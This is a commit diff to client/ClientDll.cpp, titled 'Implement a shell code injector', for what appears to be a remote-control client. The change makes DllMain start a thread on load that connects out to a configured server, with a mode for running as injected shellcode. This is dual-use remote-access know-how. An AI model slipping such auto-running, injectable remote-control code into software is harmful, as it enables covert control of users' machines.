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Implement a shell code injector

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This commit is contained in:
yuanyuanxiang
2025-04-24 03:01:40 +08:00
parent 323500dc90
commit 4926cdb19c
8 changed files with 73538 additions and 24 deletions
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40
client/ClientDll.cpp
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@@ -269,6 +269,23 @@ int main(int argc, const char *argv[])
}
#else
extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort);
// Auto run main thread after load the DLL
DWORD WINAPI AutoRun(LPVOID param) {
do
{
TestRun(NULL, 0);
} while (S_SERVER_EXIT == g_MyApp.g_bExit);
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
HMODULE hInstance = (HMODULE)param;
FreeLibraryAndExitThread(hInstance, -1);
}
return 0;
}
BOOL APIENTRY DllMain( HINSTANCE hInstance,
DWORD ul_reason_for_call,
LPVOID lpReserved
@@ -276,14 +293,14 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_PROCESS_ATTACH:
{
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
CloseHandle(CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
break;
}
}
case DLL_PROCESS_DETACH:
g_MyApp.g_bExit = S_CLIENT_EXIT;
break;
}
return TRUE;
@@ -294,14 +311,17 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
{
ClientApp& app(g_MyApp);
CONNECT_ADDRESS& settings(*(app.g_Connection));
app.g_bExit = S_CLIENT_NORMAL;
if (strlen(szServerIP)>0 && uPort>0)
{
if (app.IsThreadRun()) {
settings.SetServer(szServerIP, uPort);
return;
}
app.SetThreadRun(TRUE);
app.SetProcessState(S_CLIENT_NORMAL);
settings.SetServer(szServerIP, uPort);
HANDLE hThread = CreateThread(NULL,0,StartClient, &app,0,NULL);
if (hThread == NULL) {
app.SetThreadRun(FALSE);
return;
}
#ifdef _DEBUG
@@ -460,7 +480,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
}
}
app.g_bThreadExit = false;
app.SetThreadRun(TRUE);
while (app.m_bIsRunning(&app))
{
ULONGLONG dwTickCount = GetTickCount64();
@@ -493,7 +513,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
Mprintf("StartClient end\n");
delete ClientObject;
SAFE_DELETE(Manager);
app.g_bThreadExit = true;
app.SetThreadRun(FALSE);
return 0;
}